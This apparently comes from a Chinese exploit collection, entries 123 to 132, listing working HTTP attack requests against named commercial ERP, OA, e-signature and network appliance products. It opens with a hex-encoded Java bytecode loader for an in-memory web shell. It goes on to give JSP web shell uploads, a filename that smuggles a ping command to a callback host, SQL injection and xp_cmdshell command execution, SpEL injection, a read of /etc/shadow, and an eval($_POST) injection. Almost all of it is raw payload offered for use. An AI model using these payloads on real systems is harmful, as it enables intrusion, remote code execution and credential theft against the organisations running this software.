6e686c65793464337230366f6d6c3331336e6c796d6d373537327164617a713933356e386d73386234777039783172306d63677a75656e323470367066337a74666d333136787a616b6b617375616c746d37676533756f3470726972366b7a3936736839677168667532623074303573656f6974387463356c62336b6a623072343873726169723133776667677668393163726a69736c39376166377875657361766977676b31616f6e326d61747362636e676174316471767970673736666468336b6876776572636267617977386a6e65616a7762376f31737a7679737365683373616f31393862397335366f79773977346467746f796c746439346d306671627a667a6a7a6161366c6163637762686c367a333130703077616e767378733472727679773132346c6169656a633678367668643476656e646662313230663634646c317971636f306c6e7a726a34357862646538617575313838726e62716631677138657a756c346a7a38643868316e68776a716d6a656b7867767a723031677a696b736e7479317869376269723777376b646e61317363796977676371726f717437747034303531617538686f6d74373734646d3969667079363168337631776831373362336630317a336e643138326a696761787a313770376c7772793164676f667a6477687a79656c7165697179737061786e6f796c37653473336c6e616174307a65326b773470636e706230386f616d623633746238703971616c7a6c6172397a3939696167336e687a6f6a3170637279646770686e70396b337578376f6f6335776431746e387572336977653372316b6a3838626d727967333965647372686e7a6d77613462743462306b37367a366b62627a6d3669686563726e69396472396b65396d7275623237616e6b74357538657a6b386473786d373179696c6935746b616d66306b64643931306e7873717736327479787a733066333474696869696430756474307075386e727931776f6471396275773731336e6179696d796979637474316378776a7a367167686a697136656468337a663162393368686f39307167327168337332676b6876706938736372637371746737366b7077327a7a3476796568363371766a73663837797965757870656a323369317078317474707831316337716f33356c363767367765743572306e783661706b76726432317832356d3479786d3661316f7368746d757470726a786e6a37637139707663796a657577636b37313575386836356f683173393137646a676f6f31656172636b706f657674763937687a316a6e7378726b6d7a6631663274343336796b76616868393370627567656b7068726a756a616f6a7a723338766e356d3862357870397a7679337a346d706679676c617a3673696234776c617673706a7270616362383831766176653634326733736e7a3970796f7163683272636a636674746479716a7069613263636532767537666e71327879747071656473716862626176726c676b6630777673303336387a7a38766f61613978316f353738776962766f316c73317263676870736e3877696274626668713278693232737a39697237633162703261703367746c646a316c7279707064646d72686d726c6e71656771387a6b6174796a6c6371393479347675636478776e6d696f7a6f62376a3239797a6334696f79326f6e686d333163637479676c653669737336726d716a336e6b66647063387572776a7139796c71783276726f676b306e69707732357939777863756e78746d7563397278343265626e6b767a62786b30386d337a6864717478686439766432346d627a6a767536396f61716a6e6b6f71613138337667766a3478383962783171673376773632677674776b6a7872766a7178396934746b686c7a396b7533343732306d6f78766c773579353738396a3669386d646867673773326f6335316831616a6276783479306b646532736633617a7439686a356d76306975346264786575757478793173387268756f766e367561716d6f616f6434666c787475366e356a313038743037793235706a6b71323771306861676f6a6c3373736b717834656265616e6f777376336c6b383261617773396334766b32626b7938613931396f363139766171627837327239663077316b62636b746b627066386b7930786370623467376770756d6c7578726271337665797368337a737734396d38376d323234746e736f786532706a637379676a6b35386e646a6d7136713079653866366969337a6a6a346b3431346a7471727731326871786468667333387933396e78673669336739336b3974787a3034766e667166747a73356e726c7075786b786b3432756b7a686c31316d646331706d6c35636171786d356366376d6a63303061707062707062686c7867703871366963346975636375326e387a6c6c79676d78336d767767346a7277356571366278626670646f3679356a7173717172757662633677737068786d6b6a6a6179636c6f77656c746c64336576626d626f7931307a37396d767161656471373768636a6536387a67367979747a676e68756c316b34697573373830616266333967696f30776a3378747465787271747879736974396735646736787a7670367a346e70366d38356f656465343265786e39727135367439623232676477706b7731357738676c716c663435663232316f34683671637739356b6279387930756a38767971396c6a6b62657971353979657038376a6c73616d6c657a696d663575337a7669783031697a62386f6b3871726a6336766d733531356e7130736d71676f6b6b6a6c337876397971616867356162766a356f7778796a69643532717169693334306467666b65647a6269366439326973636b393877347a616873737a67326f643831736f676c776666373276786473726171376f79346866303862687231616b653963687a74686b6f79776f686d3579716a383464346e667273753639716a6579687778346e73696d7979696c316a716471386964633138756975786c786d7862713763317078316b6766337a6a616463716c773078613839396768326d347032746a6768676d7534306a74616474766b64756b37726a3531627033393834396f6f696c693837356168746f783678336a376870376d7435376833316173393063356b303239766d6b646c326e666570686265656269776665697332346d627a6b69346d6d637162686f6e7971666b7470767435736478337161757830336a7a797271673373736d6e6461617138327135346f31627665643171686b6c3231366a6d723169373876336d38727a6b77366575357361306c31636f316e627062733972766e6f6866646e69376a6174656b307a75707473716d627a7934306f307a3371373165666d793961396675736a6a7732656b6e393774373365636e683176666b36726d78656e7769747961346a78636f337932617568636c716f6f6767386f376f6676696f703869666f746a35646470323065376573767330356c67396c79366378617a683966397762386576797073313363326a76366d76666678706e6774386f75746366366a3768673135686b6631393070756969313867773835316730626270376578373669686274616879767177366b35766a6b6f34716a6c707237673979383036716679706a3934377a796c6262746970386c793138656e6273676b6362617379653234776e6f77357731326a637832326978687739387738766f75633432376e7a326a727672357038766963366f776a7539326b6938676a746e6c6e7739366e6f74797973706172627a33377476376f79727a79666235706572696a746777686a67737974636f6e356c6232656b3664786e356e716a63727567716d356733716271683336766a7167663975373568626b35363464626b3567776c737479366e6e32316c3636743539676c74756a63767234656a77686f77777a34783932666d6b6436356f6e72786b75646e6a696c386632366e33677678697562777065366f6574796969733479787269703862386c366863747768796d3465386a6637396931686466797a757335656d353570643867766e796c63706763766c6d36347268307338356c6131743237686775326130693864317830373561796a676863356f733632673137646367736974356a6465716a7234357072347172706b797961336b74616d6267383567316e7268643468357671726531736436667570326e696d666766386e63706c6965636976396c77323569656f6a6532703631697173317367613938396c6c306563646c33783132363668706e75683734677369736a65643872336c737978393569727561753935717230756b61307671736c376f6d366b6c7139396e70356861716e6137796d7070317267346d73793774633877336f78696336333631356f6569626a776a63773831356469346c73707334717a3163796561696764763269326c396c7238696f31306e6d3830723176767037386c37796f756c31637875687638306f736c6c6e746267746266736136667376716666387863717967783071636530716474797433333069746f706a71326c617a386f7135376e337437627332756a72367932613376377965787764747a643970313472707036336f3370783165706d636c756c633178757167646e73686f33776d777473617374726a62307279313963386838646a306a796d786b74763671756f656f6d7277757431327635686d346e767a39656377736b33766a7937656b30687a6f73313738783273396d35616b787264776167647335627270686134676a36357a7577363661797033776d646e7574756f386c37316a7436336f746737623637376b367978313765713777366e7a6b3074333276726d32636338726838767a6d766f6e68777a6168776374673539337a63307a343274316872356c336764723778776771616635346178647931367677326976376f366574377833796d346377767838626873616f6772377871306539396b6b363169616a38746938686b6436766e746865616c38773265657375766a6f3132396e78746d766b786172756a73346c6439636e65737579326b743375757a6734637567347677687037386c33667369756f36616e6d347573317632743568376939336c757830386a3670337666377a74727470626e6e62653563377a6f623377636c37626c6838616c326139383571356232396d707a71747a6e70783977383875373379673272313077387378316875636a7161637774316c656466646e31367970736632686278673770746465756b7a767936736734616973326e6c61313872786f697138746b3533707a686f6e323974616a74616a7432796f7168327935776b64336267327474753136786477366e75346367726b656e35656f626f6d736c79786132796b6b7161776c7479656a7634326c35627136776c7761306b6c68797577366e653567626e356d73326736686363753675783261667139336469656b39306f38707471703466683779346e6539706a7034336d707133636c6b6d3634753836356739696f6c67706a6c366a6667796e68376c697973626f6d767269753468797965736d6668776434647a61666532356b7131757a6869616f7777776878686b6a33717a6674766c356f6969763661333362396568686934386d656d6c396b79796a346b666c32676b3876776f386735613665396f376e696f66756d79397371647337367263347332356a72666136346778736f726d306478337a776f33796633656b376e657a34337139693933306a3477753771377168716a776968696e676f303576396c6839703672356535337a657376647970747875336b386869396f78346f61313533363564766871733866797966343232307564716b356b366668303136336d37706670746a773075716c68336567716b75756a3632786b786a686b6331696c346a716a3438756c3261337538716276673179636d79386478316c326564647665626f6775767563776a63726570696a626f3371656866707431673538346b3432326e75686c63366866656667766a766d6d3135797034676c6164677567763962686e383863373631676a79703265366b777a64616d34706c707530646b757067736969387666623130656569726c66667a696d66326e6878756871646c7361797374696c7267307434686133337a376a6c3672397162733963366870726f716c34316738653172676d7631663173787562797268717a307472356a636d656f71676669626932683074757064346375746d6c616765387636326d36616d726339307179743873646a3475633876696d7a7265716c6e30623739796a6530706b696867316e6c72646464746a737a38387069726b7939303272667a6333653065796f617064786f357872666c387070786638753734716d616f7274386d7033376f6b797961616f31697a387773693839616e3938707969707972636578617465306e3766763077647a7a666e326878633376653272336768626b7a756c6937656d38397a65726477747870357471637278697166336f3079696c316a697532727a623267396e65346e676163303433383577646674616d3139683076756870656330633463766a326731726773757761363533676e6b6d6e6a7330353573646a646b71636a367a32626c65766f636f6576706374316e69707833657a6f6e706b66363470346f66767670793977357a6c796d706b68386d64746e6e3274733363667a356c39366b396476676f73733579353464636a73686278616c64397a737731306a777632676a6c6c616d3835646c616d376a6163653175706832766673746179616268666d6b313169616279613339747973773670763664757038776b767566306d736f617177756766307a346a7a6166326b356e723075686567307a37766763646f6d6933787863336b627670666e696773726572786532726771716d6836306437773576717674367a787470366136646d6f6377356c37666d73376f626630396a35713362666861717176777279396b7a366976687270656f6a6f6134616f7139716e726c726e353568706d6a646e783861706a677a783977637164373834627265773335306f72627965303071326f387138757978746b6a6d6f3266793064636e64753671706c616b32746567656d3763303664726c7075346e6d7a3376756e6c697a6f6f72796a686279767a70786d3638396165353773366a38646c6230796a6579317830336b62696f6e616d7371706362666e73367667337a396e3134776f62316575716f6c766839637238643936763265616e343138756a7a7a6e7261346e7938316971346c31356b636638316e676f62663962377a3177776f657477387975656c797a6f6768726e3435736d75747363387776627a673774387234733066656c32786865637272756935776c616e31306876677766676e7863327931353133636c686b68656b6d64377731706b633468676431646b3071396b65366c69676373347976686e72386a32696e333330393671756c70367273386168616561696b326d6c7369766e746a786c30367269693162636a3679756164386372666c3366736e777a6c637361376b726e626a623930726a6a33337839617577326464386f6a7177396f71326e3363756369637262307138676e34357478697336776833786331743872357363336c6d6b6561356272306f366964696872336a3637697731673367753834796e7461766d6d316e783266716179777a3567796e6d7432743474353479377479353232737832336a6a6f72317a65356b7661787767337833396230796939646a6d306d33376337776c307164656d616d6b6e6271383835616333756d626f3869326337386a75307473346a36757a776a7177716733736236386f65776466763878627337646b6179627238726171707a66616c33306c627038306c35616636307831766274623136366e3333756e34763934306e7873356b78666876726d656a62736b346a70326269356f30777937397032627663716d3032623574317565326562746d6b67786d787562756b353931696374627a3632766f686c386930623464796d30673762627a7733613974687a326e6170337534736465747970756b79666761667374383268663934336d7278313767357a3137747a7a6d7662316d79646c79616f3532386a37376472616a7a6b336d6e3061397067356869776f387674313173633238397734623575387a796e3033753033713738326863376436307663746b31726c676a6e39337976306664637562746c6c616a7778706a7536656e7479613362386d306278387870696c6b796c647535636e656f716a6d796e336474336532326172617533313036617069776e62386467656270736b3771677276366a307871396b65706837387930777433767a3863613079646766303636736c636d736b7630677672716f31766d726178786d6a37376b326335687635637a3632757371653676313175316d713966626533713167756665626976677a35733431626c787937666f6a6d78653477697932793166326a786535787234653777766e686b336a6c7971326b75326b70796b626b7068683669636f70633236386e6e7838323438796c37766939386e376d7779726e7a3974316b61686c726964736b66396a33303966703775716d356466386f6d6a393879786430346e367666307572306d356c6165793272736d3764656a346635346862306a763075687468303932377834727a61737a666d39736661796e666e7a6764376b67356c713475356e697973386f767663796a306564746c65337762696e6669616a62746e737a683465626331767861716b7266357937706976717862766a7536766b6a6d797a307a786b716a6a766a737530656b78337436696e337579353177356d706a6d716b6664766f727a73647a71797262676736736a36356870353074346366786c6d61747962697172706e33656339347163657430713172666f3165706e317971767765796c667036347336657637316c693869786b6561666e353131656a676c777a6c33667832756c6c79666d3764627339327766356e6a7338383268747a397233646e6e3933653378337a6d796f6937756e6c6e6232727130666569307862766d366f32656d7a786d6d6b7939323579686371687061657978786f716c636d6c71663671743438636e6a666d666d6a767a783374313570636f3831736c6336686d3569376e66786c7777687133766e7a69667376323538747934696470726272377569767934346269337267386e727335726e6e35397136663370697630747a646964676b7063376d79326f7431376c716f65766e323268643435783834717076736c7430756d3036766a376234696e336c3768676c363277776830317a7067787038716c6969376a346836323574336f6c3473793979726b306f706278396a347038617a687579686d796c716c646f6f6e7739627767666c387661756f3265616d7a74353472336b326678657a376e6e6a396d6139727270353566687337763731686f7530393171676c38327062696a7a746c686a67326a36326e773336726f76636b7239737068786d61686672327078627432796e69627270656c35393565796265776b7673393568756335696b72347072787a7969736f716d7477626e6532396565766231647375373236316632337973707332356e306f3575386f6d79766c7431386437766f74396a3172753164337930316e3477316f37766879396a69333479787a376c303776746c616c356d7735667666313067666c7678626c647330623272373874716970736a6a796f656c636364667677306639386d746778706c626b6c34373678763637386d3476676b756d337574786169767279666166676b696d32713663366e677a6d7232743038726e346c71676371786263666170376e626f73346d6c657237726d796f6d726f3666727972696c64686579676579786a3731347230616d637476617879756e3835636e766b696b713539736b62716767386962336e356d7239793377346a7633637169337030716a64736e30796532786c73636c656f62386d617735326c793264307a396c6e336476616b3731793638336f666a323631757975386e796c65797572313268726c336567616869303073377a667330656f697a727a7a69737167686c78357635697033796d68667a3765317834796c356474786e6868343865377a7730796264646d696a76366872753473376577726a307267756762777236387235376435397a6778626838336d77766a3870656a6d386238797879656d316773786d7636377831336968366d7a35796435306b6f643673786530697a78666371696e776c787379747032623371756a636c7569657a6e69796d663632356a636e616d79667638616c6c7678646d336a6731317275657131776639736d783777706367326234733763306e32626b3865397872353969757a687462757235666e616a3578343036767432677a6375686f7962796f6a7a6e61616735706673333461637a7365746b66366c386c66347966393533356c376f613935656f636678756c7a74646e37677035326a6f6c6f747978713861786a6668686574716b6f786f74636c313831656c6b33746a366b6a347874693836746a673439387233783439753067757a63707036656438656d633478667766697a637a78667438366f706633757070716f6d74777668676c6f30737836376f62766b3532673332356d3930306a68686a68366f633068667679666d7a363238323265787a773571613278327636386c653161646c636f6a797333336e6d74623977336d7833367434346b347262776e76303967747337716c63653033356d656b687235786c67776b7a7369616b7a713468326278796f737a6e78767a646f7a3968657730653538746173647874356d6b6e6c7638326d73726d7a75776663626d613864643573796132686a6d646e7562737a797730346a6f6561636b6676656d34786b72367362646e39786c313536766d656d6733386f6b32366b396a6f6e366e776a6c636e7a616f68636572727a70327a77667466726b6f346176687863736d676871313767357934303166367a637167706e6763356e70613962737935677971376a74656e39366f3479666366306e6e3169716465626a6769387471746d33646a3963387864657562333869646d636339326f787761376f6977307575756563353572716c3736327263796b746b6a7a3438346d63776f78766e6132643879327438377734627a6b6a67626a6266786468646933627371376a6b78763874713271703739396739336169713176717179347167303934676d386b367866366134347831686638376d646e386f6430343777333676356a66317963356e64726e6b677665787536766e6c3771356a637578647a76356364746f6b65726d74716e773677626635656c61773130736866736b726f63746f77696d786b74396a66676a736667683764753762766e61776462746363753939307878373370667530617a72626b39303170796d696f6768356a6267693674376663373579307a3133746b6f78726d686e73727761757a39786262356f797035756b74336c6c796e3836646e6b37346633716b6e667530696d366e76736f316367713669733435613076386f67656c67636f31616f756c6f38373264656b396d6a6f776d677430696c71703664773279376a393832333631786e3774653276613538666335753062723377393264377a677176323768707030346b61623830796b6e6e347831323131796c61766a746d6e7a776e6f61386e73316c6a673367386d6930356c65717675397a313238706d6563713330796433306870726a31317239636677776d6975766a717571716c33306669787166393669367534783430647133316767703733737079697170626a68313232766f757a73796c793466376f6275333774796b626f7a773765376d646b6234743479797a756132327171786f377362737237753768726670776d353770616d73707277786b717334706a676a3263686e6b396f397073626c7769646c396b716a6f7836676a6d75346371386c337a71347239373832376734697434303879796830686b35716f686a6b33743463306463726b306a6d6639696c36626f6c3663306f366e3335766c3468776f77736f736f637738716f316139627a787931783433376b6533706e32743770326f64346469336a786d7667676561386a626d37373539616774616831723437796d6d746d74786c71666c6a71786574376761666d6c32716e37776d787a63703372616a317163766d767164333232327168376b6b6766303037613337626b79376f726e6365616b3078636375306f63677a7a343230616f38746a6f653078776164346661683569677361396a6d3766626f766e3731326c733773797a696d617233726a756b3278343279336373723279686d6d6f733830346c6d6d616673743879626d74696c6b71396e6b7972393536773035647766666f30636766366c6977313371697a326239367679396165326b6d6535717931727933396e6d71336d637367353933766f787869786e36356573777962753076746f3579743832797168717367613674716d776c6666646a78787466676c32326870656f67347737796e366772726d6c6e31337168623533786f3576673664763774736669336762366f716f766b726a32713839756e6b7a75303630677830686e6431783971726b6b36686e65373679686b67316c77336f6e6c6c6f363072396e657a336d7974686335313177343574393236687764786a31746d757639633072686f78716b736c727239767a6776616a786370383335686130716677317a30317a70636c6b68616e796e67757a7a356a346132386f31306371376f34677a76316d38726d6f796a79616435776b367269666d7367387a78696e6b33307a317566307662656a68396f3277353179677a77786d74706367366c6b35637663643479766c7978356539326677676e396b6a6771647a7938337238626568396e363834306775797a39367771356c396967783468717969757a673268793666676877767539706a36637263637037706475693762796a327672306839696a776432767964336a75396731666861636a716a373167657532317274796b667a3938696a34736b6e65736d636e65706f78667872383930307730337a3979673361397738676f7231386c6934616362316a683961676b34776b38396867647137396b6364713061637061647561677a686f6d726f6862707975396664737933393867656f733375653279633063656c6161667263707774633534696873323937616267716731637975777762786375317734337372613672306e796b61786f7a766569747475336d633136736d34376679386f6f63643731317a6c77707579766334776c6e77696b38326d6e69663068726a303462697832767331716579666e363273656f6b766d7a6b7470703231397670376267337339377a30737174316a327533386837656a67307372767835693563706877657439626d6a6737627a3162796a6b7163776564776871696b76657a747335316d32686578303377796c656c7a70376c676b6563616c6c71736c6d36697463713236396e7038343833356268616d6a78666a716a6c7265706b6e646669716e396a7a6b3337357a6b72767662396a7862733579723531716876393672393769343767396c31637a62347065726734737a757a3961396d656773397631747577653672626d6176686d663632663063316738656e776e33336c62687271776179333367697a336b67647078796d67686c386d6d6a767078676631716d72753136716172626c3474696235716f3775336263636265316a776236706c3036726e62736f73666e637577773261646c65616876793070386872396d356468386735793861616431613872663361327a616a7679796839356577367572627a69726b71727936786e6d766e61776a6578333863756f783172396d34307376363236656a356463743831616d6e6337796662386c7230706c77346b62367967666f7a33756a6e6c386d6a746a66646d686f6c7367316576656c6475773966327437387436687264616d6c353372626f74696a7771343763737830776234707566697a717878367362357262626b6c696f3070306b77797833336c716b6d623979746a7573647a7036636b7776686632796b7971767833723476733874726571647469756571686a30703966346d6e76336a62337a696932767a61396777326c396c30797064396968686f366535307278307534697363336d70783032317a69753832757436376e77376e68616238386164367533787561366d716232376d30756e64726a6d32717a67736f686a38756c316132393638626f65706e38776c71793261726d6137306467386e7732303665396732616e6974727831706676683773373736777768676d666d6e326475736762307a3070356667663379627a7776767a616e6b3871336a6879616973347069336a38677977303876747575686d6e6d643935337236316e626736796372667174627862766c713031677776737931737634763736636f3635736574656a70386a636636716378786c676a376839666e7768627a787361347770626f7232793370657732306d653367776f766476346e77707635326f76623933656268757364386b7939737967736837306a316279766e686e7163306a743966736c736d6b7a64657562613679366d726731633771367174716f757a667a617138796e6f31786474796d78796b617372746c777436726c357a683369736338636b366f663466387269793877307779347675706269316a396b777339333330733031317963636b7a6763716368686763617a313979366b6a38623065713074716937396b6b316e36367a6e77343368316c7677727a67726b696a32343536337731713064653532767363366135723736776d38756b73386b656a72353277716c366368687578746d6b3336667a33776d6c733436626f33387839767075346563626966666d67627476306774706a7763653639716c62723378327479676365636961636a6e6830757469346b77706b3463737739366b766532777173767268776366657873646a636174676b7039753736356e3975686a6971687a6d6478377473727a663336776e626d6f78736867336d66726f33343332696a6d6e3462376370386a69393562767431613433627834356e6b6a77727834706475633161643032393975736c726f62357861686263306e75376a6773686a3137706e717368646e7063626c666a39393136766b7736753578787172766c7034787664366877383571316b6d783163797361677934646b7678627838796b3666746170676675317079656930763035657761366c346e3973666138757132663273726237656b636b676e616d316568616f62737037796b3134786b706d306d6b75327931363564636c6d68767a786b7431396e683978356133617a647978366e7a35723474323568703775323975656c7768656a657032666a3862627878787968746e677a727177706531743662306d7361356c7a306736733835367363716e616a3736316334306f3034706a7a6e6b68777066766e6b34626d6b747262303131796a6871306d35757a7675386c75746b686e70666535676c716335767971356538397568357a753369716233396273316661396f6661303336776c6f6f636374317135766b716936326b303671736d61756f67306f64696675383239356f6f7479623571737a7a33726b74687668783570766e753276366d363578796161763977683768713233793669686d61676f7734377a6f32663979656a75317a6e367767376f7267647a3266667a6d377070656a657433707039753877346632697867637278696d6b706774683064657532777a796c6339786f7165783377706572326a31336a346e6b363071326c6c6b373668346a613572317662727875796b3830366334686b397162617a30657a62736c3536696a71317a6561766e716d3338686e383579676d397a387863776f37716d6a356575327562686177757870356a6e6a6e756e31766f75696c6b6a7a626438617a70316839746e70346f643968367864616777756868613368326432387531736c626d387767686b6e766b686a3936756138777561326a35376d627a78376d61796c6932766f6767696e30317a6f696336786c70656d6f65783876753032736c7872703068783030693136747a766d787131647239363678316574776768626b366b6873766d6768653434326a6e6c6f7363686f7a6539643764673676366678677273727038696a6f67346b7a30656b7966787666656969656c32726872326b6472386f6c3773376f6662356f6476646963776f7772387572703338306e30306575766370307569723969623661727134736877336a3066663576757634317736636b6371336b67776c363737366f706f697338377277386c696b6d676c7471717473347568356b636c696531376c72306e786c316c33733579787a65647a73757a666f62616977306b62676d6679616f6b6c6b7a306471733871326c76367032766a653179657532353261643063616c717468386b397631696c65636e71636c367979766132666965736d363865316b326d36306c383961686238746a79376d357572783176776f6a387663637a306b3475787866326b34377536676f6f33786e647a64686d6d76307936303762696a38687830716d6e793261396170626d30677333656b626f33696435383174326c6a31343530747662323762326e6b30303937386f707473796d717838346f36796b617a7178616d77646f6678626d62777732656a3974396f6975697661766977676174353838676d30627264653979687978683279317867356837716a79336f7269323362397775786a72366b613966337635686c70396a6563647030376b73696f74633979316f3672333962627878336b707a36736e307676366e663333726e31796c3431746578676c6e7536346a65327539386773677836716d6e6a7a307a6b726a6d667878743731377a777167323730647a75716a73333567316779656b79336d713468687633726a7163356174686769387062643769396c70663362796a323431746d7864736e796c6576777869733233376431653730326331776d763439776c6e6f656933766c68357467313177697364377875323766347974703474386e67713166676e36747a3768337464386665676c7165326673727a3279306976336a6d753435776b33356834743370706a6831636431756b36647468693239716337327264713366306665647139647435686365653837617968683062773832706d6472316c69766c78696b35386c37757574777663376c38747274746d6266346e7933706a3775366b706674366731763673643437786a696c6c7562726e37696e31716e677564667135677061326b696d786c65396138386963796d6d636167746d37656564667a65793530386d6461766f356b633466656d6f3161717564366d71743433386b6e32393437646b6374757a64726234797668336a7276386579627a6c6537366e78787272626e33716f3163346f766c7977396d6473366730336c306c6369346a6477336e6f626d6a6b7279677a3877656c6333756733317235646d396766616463636e62336f387439346a69797632356f356d33376b7a633270796161626475643773757867633138643266353566367830757277326a756d626c683463723135356b796579616639353662627a30326d686c39743264676c78336270777a65387130653166646f63386572696d717a6578687038616f78657565363164686967356473383464706d386372746c66697473793666693333746e7634346e776e6334306a7939636e366e747939646c31357a6d636c72653369786b3564666b6e7a386e75617a77777471786a757432756272337130696474386b6862383878337338696364707a777161336572767835386775747a636b767a706e7275733633777a336772783071677732396c396378396d7a3835366f61687779353639386367653235313463727367706e74723170686e6e6534763474336c6b716272637174646879767466696b79687031326f706b37686f3439746176646f273b7661722062797465636f6465203d206e6577206a6176612e6d6174682e426967496e74656765722862797465636f64655261772c3336292e746f42797465417272617928293b76617220636c73436c6173734c6f61646572203d20636c6173734c6f616465722e6c6f6164436c61737328276a6176612e6c616e672e436c6173734c6f6164657227293b76617220636c73427974654172726179203d20286e6577206a6176612e6c616e672e537472696e6728276127292e676574427974657328292e676574436c6173732829293b76617220636c73496e74203d206a6176612e6c616e672e496e74656765722e545950453b76617220646566696e65436c617373203d20636c73436c6173734c6f616465722e6765744465636c617265644d6574686f642827646566696e65436c617373272c205b636c734279746541727261792c20636c73496e742c20636c73496e745d293b646566696e65436c6173732e73657441636365737369626c652874727565293b76617220636c617a7a203d20646566696e65436c6173732e696e766f6b6528636c6173734c6f616465722c62797465636f64652c6e6577206a6176612e6c616e672e496e74656765722830292c6e6577206a6176612e6c616e672e496e74656765722862797465636f64652e6c656e67746829293b636c617a7a2e6e6577496e7374616e636528293b7d


HTTP/1.1 200 
Date: Tue, 15 Aug 2023 07:50:17 GMT
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
Access-Control-Allow-Origin: *
Content-Security-Policy: default-src * 'unsafe-inline' 'unsafe-eval'
X-XSS-Protection: 0
Set-Cookie: SERVERID=357e46e5f6aa75f389927a23b666915b|1692085815|1692083970;Path=/
```

3、访问马  login.jsp

123、绿盟ads文件上传

POST /postrev.php HTTP/1.1
Host:
Content-Length: 252
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4x5B9V0rUBOl9UnJ
Connection: close

------WebKitFormBoundary4x5B9V0rUBOl9UnJ
Content-Disposition: form-data; name="filename"; filename="1.jpg && ping dtq9.callback.red"
Content-Type: image/jpeg


------WebKitFormBoundary4x5B9V0rUBOl9UnJ--

124、明源ERP存在SQL时间盲注

relative: req0 && req1
session: false
requests:
- method: GET
timeout: 13
path: /cgztbweb/VisitorWeb/VisitorWeb_XMLHTTP.aspx?ParentCode=1';WAITFOR%20DELAY%20'0:0:5'--&ywtype=GetParentProjectName
headers:
	User-Agent: Mozilla/5.0 (X11; Linux x86_64)AppleWebKit/537.36 (KHTML,likeGecko) Chrome/89.0.3119.54 Safari/537.36
follow_redirects: true
matches: (time.gt("5")&& time.lt("10"))
- method:GET
timeout: 10
path:/cgztbweb/VisitorWeb/VisitorWeb_XMLHTTP.aspx?ParentCode=1';WAITFOR%20DELAY%20'0:0:0'--&ywtype=GetParentProjectName
headers:
	User-Agent: Mozilla/5.0 (X11; Linux x86_64)AppleWebKit/537.36 (KHTML, likeGecko) Chrome/89.0.3119.54 Safari/537.36
follow_redirects: true
matches: time.It("5")

125、企望制造 ERP comboxstore.action 远程命令执行漏洞

POST /mainFunctions/comboxstore.action HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 

comboxsql=exec%20xp_cmdshell%20'whoami'

126、契约锁电子签章平台远程命令执行漏洞

POST /captcha/%2e%2e/template/html/add HTTP/1.1
Host: xxx
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 16398

{"file":"abc","title":"abc","params":[{"extensionParam":"{\"expression\":\"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='base64 编 码 后 的 内 存 马 ';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-8');var c=a['parseExpression'](deStr);c.getValue();\"}","name":"test"}]}

127、赛思 SuccezBl前台任意文件上传

POST /succezbi/sz/commons/form/file/uploadChunkFile?guid=../tomcat/webapps/ROOT/&chunk=ss.jsp HTTP/1.1
Host: 10.168.4.99:808
Content-Length: 49564
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8GeAY18LCxR7XnVP
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8, application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh;q=0.9
Cookie: JSESSIONID=7351EFC189410384FF702A41106FF4A2
Connection: close

------WebKitFormBoundary8GeAY18LCxR7XnVP
Content-Disposition: form-data; name="file"; filename="www"
Content-Type: image/jpeg

webshell

------WebKitFormBoundary8GeAY18LCxR7XnVP
Content-Disposition: form-data; name="xxx"

confirm
------WebKitFormBoundary8GeAY18LCxR7XnVP--

128、深信服SG上网优化管理系统 catjs.php 任意文件读取漏洞

1
2
3

POST /php/catjs.php

[" ../../../../../../etc/shadow"]

129、契约锁电子签章平台远程命令执行漏洞

POST /formservice?service=workflow.sqlResult HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 91
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Content-Type: application/json
Accept-Encoding: gzip

{"params": {"a": "11"}, "sql": "select sys.fn_sqlvarbasetostr(HASHBYTES('MD5','1234f56'))"}

130、时空智友企业流程化管控系统 formservice 文件上传漏洞

POST /formservice?service=attachment.write&isattach=false&filename=acebe1BA7BC18dB4.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 115
Accept-Encoding: gzip

<% out.println("CdaF3C8f77065666");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>

上传成功后返回shell文件名
shell所在路径为：/form/temp/{返回的文件名}
如 Shell 地址：/form/temp/202308154fkbyxm20fpxwy0h_acebe1BA7BC18dB4.jsp

POST /login HTTP/1.1
Host:
Content-Length: 99
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sign
ed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __qypid=""; JSESSIONID=B9F80FA819D6FD8F5361D79113F8ABE0
Connection: close

op=verify%7Clogin&targetpage=&errorpage=WEB-INF/web.xml&mark=&tzo=480&username=admin&password=admin

132、通达 OA 11.10 getdata 远程命令执行漏洞

POST /general/appbuilder/web/portal/gateway/getdata?activeTab=%E6%88%91%27,1=%3Eeval($_POST[x]));/*&id=19&module=Carouselimage HTTP/1.1
Host:
